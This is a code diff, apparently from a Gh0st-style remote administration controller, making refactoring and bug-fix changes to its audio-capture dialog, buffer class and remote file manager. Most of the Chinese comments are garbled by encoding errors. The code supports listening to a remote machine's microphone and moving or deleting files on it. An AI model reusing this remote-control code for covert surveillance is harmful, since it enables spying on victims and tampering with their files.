VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection); VOID Activate(int nPort,int nMaxConnection);
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
static VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject); static VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ // <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
CListCtrl m_CList_Online; CListCtrl m_CList_Online;
CListCtrl m_CList_Message; CListCtrl m_CList_Message;

View File

@@ -33,8 +33,7 @@ CAudio::CAudio()
m_ulBufferLength = 1000; m_ulBufferLength = 1000;
int i = 0; for (int i = 0; i < 2; ++i)
for (i = 0; i < 2; i++)
{ {
m_InAudioData[i] = new BYTE[m_ulBufferLength]; m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR; m_InAudioHeader[i] = new WAVEHDR;
@@ -51,7 +50,7 @@ CAudio::~CAudio()
{ {
waveInStop(m_hWaveIn); waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn); waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn); waveInClose(m_hWaveIn);
@@ -60,7 +59,7 @@ CAudio::~CAudio()
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n"); printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
} }
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
delete [] m_InAudioData[i]; delete [] m_InAudioData[i];
m_InAudioData[i] = NULL; m_InAudioData[i] = NULL;
@@ -83,12 +82,12 @@ CAudio::~CAudio()
if (m_bIsWaveOutUsed) if (m_bIsWaveOutUsed)
{ {
waveOutReset(m_hWaveOut); waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut); waveOutClose(m_hWaveOut);
} }
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
delete [] m_OutAudioData[i]; delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL; m_OutAudioData[i] = NULL;
@@ -118,7 +117,7 @@ BOOL CAudio::InitializeWaveIn()
} }
//¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i=0; i<2; i++) for (int i=0; i<2; ++i)
{ {
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
@@ -214,7 +213,7 @@ BOOL CAudio::InitializeWaveOut()
if (!waveOutGetNumDevs()) if (!waveOutGetNumDevs())
return FALSE; return FALSE;
int i; int i;
for (i = 0; i < 2; i++) for (i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MMRESULT mmResult; MMRESULT mmResult;
@@ -222,7 +221,7 @@ BOOL CAudio::InitializeWaveOut()
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
return false; return false;
for (i = 0; i < 2; i++) for (i = 0; i < 2; ++i)
{ {
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;

View File

@@ -27,8 +27,8 @@ public:
DWORD m_nWaveInIndex; DWORD m_nWaveInIndex;
bool m_hThreadCallBack; bool m_hThreadCallBack;
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD> static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn(); BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed; BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut; HWAVEOUT m_hWaveOut;
@@ -37,8 +37,8 @@ public:
DWORD m_nWaveOutIndex; DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL CAudio::InitializeWaveOut(); BOOL InitializeWaveOut();
}; };
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) #endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)

View File

@@ -46,6 +46,7 @@ void CAudioDlg::DoDataExchange(CDataExchange* pDX)
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog) BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE() ON_WM_CLOSE()
ON_BN_CLICKED(IDC_CHECK, &CAudioDlg::OnBnClickedCheck)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -70,6 +71,9 @@ BOOL CAudioDlg::OnInitDialog()
m_bThreadRun = m_hWorkThread ? TRUE : FALSE; m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
// "<22><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"OnBnClickedCheck"
GetDlgItem(IDC_CHECK)->EnableWindow(FALSE);
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE // <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
} }
@@ -82,7 +86,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
{ {
if (!This->m_bSend) if (!This->m_bSend)
{ {
Sleep(50); WAIT(This->m_bIsWorking, 1, 50);
continue; continue;
} }
DWORD dwBufferSize = 0; DWORD dwBufferSize = 0;
@@ -101,12 +105,11 @@ void CAudioDlg::OnReceiveComplete(void)
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1 m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
CString strString; CString strString;
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024); strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIP, strString); SetDlgItemText(IDC_TIPS, strString);
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
{ {
case TOKEN_AUDIO_DATA: case TOKEN_AUDIO_DATA:
{ {
m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //<2F><><EFBFBD>Ų<EFBFBD><C5B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //<2F><><EFBFBD>Ų<EFBFBD><C5B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break; break;
@@ -121,13 +124,27 @@ void CAudioDlg::OnReceiveComplete(void)
void CAudioDlg::OnClose() void CAudioDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>
void CAudioDlg::OnBnClickedCheck()
{
// @notice 2019.1.26
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><><EFBFBD>򱻿ض˱<D8B6><CBB1><EFBFBD><EFBFBD><EFBFBD>zlib inffas32.asm
// <20><EFBFBD><E8BDAB><EFBFBD>ض<EFBFBD>zlib<69><62><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD>±<EFBFBD><C2B1><EFBFBD>
// <20><><EFBFBD>Ǽ<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><D8B6>ڿ<EFBFBD><DABF><EFBFBD>"<22><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><><CAB1><EFBFBD>ױ<EFBFBD><D7B1><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
UpdateData(true);
} }

View File

@@ -33,7 +33,8 @@ protected:
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
BOOL m_bSend; BOOL m_bSend; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>
virtual BOOL OnInitDialog(); virtual BOOL OnInitDialog();
afx_msg void OnClose(); afx_msg void OnClose();
afx_msg void OnBnClickedCheck();
}; };

View File

@@ -162,7 +162,7 @@ VOID CBuffer::ClearBuffer()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> ULONG CBuffer::GetBufferLength() const //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
{ {
if (m_Base == NULL) if (m_Base == NULL)
return 0; return 0;
@@ -171,12 +171,12 @@ ULONG CBuffer::GetBufferLength() //
} }
ULONG CBuffer::GetBufferMaxLength() ULONG CBuffer::GetBufferMaxLength() const
{ {
return m_ulMaxLength; return m_ulMaxLength;
} }
PBYTE CBuffer::GetBuffer(ULONG ulPos) PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{ {
if (m_Base==NULL) if (m_Base==NULL)
{ {

View File

@@ -7,14 +7,14 @@ public:
CBuffer(void); CBuffer(void);
~CBuffer(void); ~CBuffer(void);
ULONG GetBufferMaxLength(); ULONG GetBufferMaxLength() const;
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>; ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
ULONG DeAllocateBuffer(ULONG ulLength); ULONG DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer(); VOID ClearBuffer();
ULONG ReAllocateBuffer(ULONG ulLength); ULONG ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0); PBYTE GetBuffer(ULONG ulPos=0) const;
ULONG RemoveComletedBuffer(ULONG ulLength); ULONG RemoveComletedBuffer(ULONG ulLength);
VOID ReleaseMember(); VOID ReleaseMember();
VOID InitMember(); VOID InitMember();

View File

@@ -125,7 +125,7 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
{ {
return -1; return -1;
} }
for (i = 0; i < iBufferSize; i++) for (i = 0; i < iBufferSize; ++i)
{ {
for (j = 0; j < iKeySize; j ++) for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12 if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12

View File

@@ -12,6 +12,7 @@ CCpuUsage::CCpuUsage()
CCpuUsage::~CCpuUsage() CCpuUsage::~CCpuUsage()
{ {
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD> PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
if (m_pCounterStruct)
delete m_pCounterStruct; delete m_pCounterStruct;
} }

View File

@@ -43,10 +43,9 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
sizeof(SHFILEINFO), sizeof(SHFILEINFO),
SHGFI_ICON | SHGFI_USEFILEATTRIBUTES SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
); );
m_hIcon = sfi.hIcon; m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER));
HIMAGELIST hImageList;
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD> // <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
hImageList = (HIMAGELIST)SHGetFileInfo static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
( (
NULL, NULL,
0, 0,
@@ -54,10 +53,11 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
sizeof(SHFILEINFO), sizeof(SHFILEINFO),
SHGFI_LARGEICON | SHGFI_SYSICONINDEX SHGFI_LARGEICON | SHGFI_SYSICONINDEX
); );
m_pImageList_Large = CImageList::FromHandle(hImageList); static CImageList *pLarge = CImageList::FromHandle(hImageList_Large);
m_pImageList_Large = pLarge;
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD> // <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
hImageList = (HIMAGELIST)SHGetFileInfo static HIMAGELIST hImageList_Small = (HIMAGELIST)SHGetFileInfo
( (
NULL, NULL,
0, 0,
@@ -65,7 +65,8 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
sizeof(SHFILEINFO), sizeof(SHFILEINFO),
SHGFI_SMALLICON | SHGFI_SYSICONINDEX SHGFI_SMALLICON | SHGFI_SYSICONINDEX
); );
m_pImageList_Small = CImageList::FromHandle(hImageList); static CImageList *pSmall = CImageList::FromHandle(hImageList_Small);
m_pImageList_Small = pSmall;
// <20><>ʼ<EFBFBD><CABC>Ӧ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>СΪ0 // <20><>ʼ<EFBFBD><CABC>Ӧ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>СΪ0
@@ -447,7 +448,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
); );
// i Ϊ 0 ʱ<><CAB1>Ŀ¼<C4BF><C2BC>i Ϊ 1ʱ<31><CAB1><EFBFBD>ļ<EFBFBD> // i Ϊ 0 ʱ<><CAB1>Ŀ¼<C4BF><C2BC>i Ϊ 1ʱ<31><CAB1><EFBFBD>ļ<EFBFBD>
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
CFileFind file; CFileFind file;
BOOL bContinue; BOOL bContinue;
@@ -878,12 +879,18 @@ void CFileManagerDlg::OnClose()
{ {
// TODO: Add your message handler code here and/or call default // TODO: Add your message handler code here and/or call default
CoUninitialize(); CoUninitialize();
m_pContext->m_Dialog = 0;
#if CLOSE_DELETE_DLG
m_pContext->v1 = 0;
#endif
closesocket(m_pContext->m_Socket); closesocket(m_pContext->m_Socket);
CDialog::OnClose(); CDialog::OnClose();
m_bIsClosed = true; m_bIsClosed = true;
#if CLOSE_DELETE_DLG
//delete this; //<2F>˴<EFBFBD><CBB4>ͷ<EFBFBD><CDB7>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ڵ<EFBFBD>2<EFBFBD>α<EFBFBD><CEB1><EFBFBD> //delete this; //<2F>˴<EFBFBD><CBB4>ͷ<EFBFBD><CDB7>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ڵ<EFBFBD>2<EFBFBD>α<EFBFBD><CEB1><EFBFBD>
#endif
} }
CString CFileManagerDlg::GetParentDirectory(CString strPath) CString CFileManagerDlg::GetParentDirectory(CString strPath)
@@ -1049,7 +1056,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
if (dwBufferLen != 0) if (dwBufferLen != 0)
{ {
// //
for (int i = 0; i < 2; i++) for (int i = 0; i < 2; ++i)
{ {
// <20><><EFBFBD><EFBFBD>Token<65><6E><EFBFBD><EFBFBD>5<EFBFBD>ֽ<EFBFBD> // <20><><EFBFBD><EFBFBD>Token<65><6E><EFBFBD><EFBFBD>5<EFBFBD>ֽ<EFBFBD>
char *pList = (char *)(pbBuffer + 1); char *pList = (char *)(pbBuffer + 1);
@@ -1083,7 +1090,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
memcpy(&dwFileSizeHigh, pList, 4); memcpy(&dwFileSizeHigh, pList, 4);
memcpy(&dwFileSizeLow, pList + 4, 4); memcpy(&dwFileSizeLow, pList + 4, 4);
CString strSize; CString strSize;
strSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+1)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); strSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+long long(1))) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0));
m_list_remote.SetItemText(nItem, 1, strSize); m_list_remote.SetItemText(nItem, 1, strSize);
memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME));
CTime time(ftm_strReceiveLocalFileTime); CTime time(ftm_strReceiveLocalFileTime);
@@ -1496,7 +1503,7 @@ BOOL CFileManagerDlg::SendUploadJob()
if (hFile == INVALID_HANDLE_VALUE) if (hFile == INVALID_HANDLE_VALUE)
return FALSE; return FALSE;
dwSizeLow = GetFileSize (hFile, &dwSizeHigh); dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
CloseHandle(hFile); CloseHandle(hFile);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
@@ -1530,7 +1537,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
if (file.GetAt(file.GetLength() - 1) == '\\') if (file.GetAt(file.GetLength() - 1) == '\\')
{ {
ShowMessage("Զ<EFBFBD>̣<EFBFBD>ɾ<EFBFBD><EFBFBD>Ŀ¼ %s\*.* <20><><EFBFBD><EFBFBD>", file); ShowMessage("Զ<EFBFBD>̣<EFBFBD>ɾ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", file);
bPacket[0] = COMMAND_DELETE_DIRECTORY; bPacket[0] = COMMAND_DELETE_DIRECTORY;
} }
else else
@@ -1572,7 +1579,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
DWORD dwSizeHigh = pFileSize->dwSizeHigh; DWORD dwSizeHigh = pFileSize->dwSizeHigh;
DWORD dwSizeLow = pFileSize->dwSizeLow; DWORD dwSizeLow = pFileSize->dwSizeLow;
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9); m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9);
@@ -1662,7 +1669,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
// <20><><EFBFBD>յij<D5B5><C4B3>ȵ<EFBFBD><C8B5><EFBFBD> // <20><><EFBFBD>յij<D5B5><C4B3>ȵ<EFBFBD><C8B5><EFBFBD>
m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+1); m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+long long(1));
m_nCounter += FindFileData.nFileSizeLow; m_nCounter += FindFileData.nFileSizeLow;
dwCreationDisposition = OPEN_EXISTING; dwCreationDisposition = OPEN_EXISTING;
@@ -1760,7 +1767,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0, i = 0; int nRet = 0, i = 0;
for (; i < MAX_WRITE_RETRY; i++) for (; i < MAX_WRITE_RETRY; ++i)
{ {
// д<><D0B4><EFBFBD>ļ<EFBFBD> // д<><D0B4><EFBFBD>ļ<EFBFBD>
nRet = WriteFile nRet = WriteFile
@@ -1811,7 +1818,7 @@ void CFileManagerDlg::EndLocalRecvFile()
m_nTransferMode = TRANSFER_MODE_NORMAL; m_nTransferMode = TRANSFER_MODE_NORMAL;
EnableControl(TRUE); EnableControl(TRUE);
FixedLocalFileList("."); FixedLocalFileList(".");
ShowMessage("<EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\*.* <20><><EFBFBD><EFBFBD>", m_Local_Path); ShowMessage("<EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", m_Local_Path);
} }
else else
{ {
@@ -1834,7 +1841,7 @@ void CFileManagerDlg::EndLocalUploadFile()
m_bIsStop = false; m_bIsStop = false;
EnableControl(TRUE); EnableControl(TRUE);
GetRemoteFileList("."); GetRemoteFileList(".");
ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\*.* <20><><EFBFBD><EFBFBD>", m_Remote_Path); ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", m_Remote_Path);
} }
else else
{ {
@@ -1852,7 +1859,7 @@ void CFileManagerDlg::EndRemoteDeleteFile()
m_bIsStop = false; m_bIsStop = false;
EnableControl(TRUE); EnableControl(TRUE);
GetRemoteFileList("."); GetRemoteFileList(".");
ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\*.* <20><><EFBFBD><EFBFBD>", m_Remote_Path); ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s\\*.* <20><><EFBFBD><EFBFBD>", m_Remote_Path);
} }
else else
{ {
@@ -2330,7 +2337,7 @@ void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
